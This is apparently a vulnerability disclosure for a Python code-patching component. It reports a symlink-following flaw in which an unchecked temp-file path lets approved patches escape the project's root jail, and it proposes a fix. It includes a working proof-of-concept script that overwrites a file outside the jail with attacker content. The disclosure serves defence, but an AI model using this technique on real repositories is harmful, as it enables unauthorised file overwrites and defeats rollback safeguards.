Component: primitives/code_patch.py — CodePatchClient (governed code writes; station v0.97).
The gap (promise vs. reality). code_patch promises a root jail: its docstring states every path "must stay inside the root: rejects absolute paths, .., and symlink escapes," and _resolve() does reject a symlink at the resolved leaf. But write() builds a temp file whose path never passes through _resolve():
def _resolve(self, rel):
...
leaf = os.path.join(parent, os.path.basename(cand))
if os.path.islink(leaf):
raise CodePatchError("refusing to write through a symlink: %r" % rel) # guard
return leaf
def write(self, rel, content):
p = self._resolve(rel) # p is guarded and safe
os.makedirs(os.path.dirname(p), exist_ok=True)
tmp = p + ".rc_patch_tmp" # NOT passed through _resolve()
with open(tmp, "w", encoding="utf-8") as fh: # follows a symlink at tmp
fh.write(content)
os.replace(tmp, p)
If a symlink already exists at <target>.rc_patch_tmp pointing outside PROJECT_ROOT, open(tmp, "w") follows it and writes the patch content onto that external file. os.replace(tmp, p) then renames the symlink object over the in-repo target, leaving the target a symlink. The result: a signed, human-approved, drift-checked code_patch deterministically writes attacker-controlled content to a writable file outside the jail the component promises, and that external destination never appears in the approved plan or its diff preview.
Reproduction (station v0.97, isolated container). The guard is genuinely sound for a direct symlink target; the escape is via the unguarded temp path:
import os, tempfile
from primitives.code_patch import CodePatchClient, CodePatchError
root = tempfile.mkdtemp(prefix="proj_") # the jail
outside = tempfile.mkdtemp(prefix="outside_") # outside the jail
victim = os.path.join(outside, "victim.txt")
open(victim, "w").write("ORIGINAL-SECRET\n")
c = CodePatchClient(root=root, live=True)
# guard IS real: a direct symlink target is refused
os.symlink(victim, os.path.join(root, "direct_link"))
try:
c.write("direct_link", "x")
except CodePatchError as e:
print("guard ok:", e) # refusing to write through a symlink
# the bypass: plant a symlink at <target>.rc_patch_tmp
os.symlink(victim, os.path.join(root, "README.md.rc_patch_tmp"))
c.write("README.md", "ATTACKER-CONTROLLED-CONTENT\n")
print("victim now:", open(victim).read().strip()) # ATTACKER-CONTROLLED-CONTENT
print("target is a symlink:", os.path.islink(os.path.join(root, "README.md"))) # True
Output: the guard refuses the direct symlink; the outside victim.txt is overwritten with attacker content; the in-repo README.md becomes a symlink. This also breaks the reversibility guarantee — the saga compensator's restoring write() now hits the guard ("refusing to write through a symlink") and cannot roll back, leaving the target permanently un-patchable.
Scope / preconditions (stated honestly). The patch mechanism itself cannot create the .rc_patch_tmp symlink — it must pre-exist in the working tree. The realistic delivery is a repository whose contents include a committed mode-120000 symlink at <target>.rc_patch_tmp (surviving a clone), i.e. a malicious repository contributor, or an insider / compromised dependency that stages the tree. The attacker also controls the proposed patch path and content. Note the symlink is visible in git history and could be caught in review — but nothing in code_patch enforces that, and the whole point of the component is that a code write is safe because it is jailed. This turns a data-only, human-approved patch into an external filesystem write, which is a different trust event than "a contributor can commit code that must still be run."
Classification. CWE-59 (link following). Not claiming path traversal on the supplied patch path (_resolve correctly rejects ../absolute), not claiming RCE, and severity is left to the maintainer.
Fix. Route the temp path through _resolve() too, or open it with os.open(tmp, os.O_WRONLY | os.O_CREAT | os.O_TRUNC | os.O_NOFOLLOW, 0o600) so the write refuses to follow a symlink at the temp name.
---
Reviewed adversarially against the source before posting.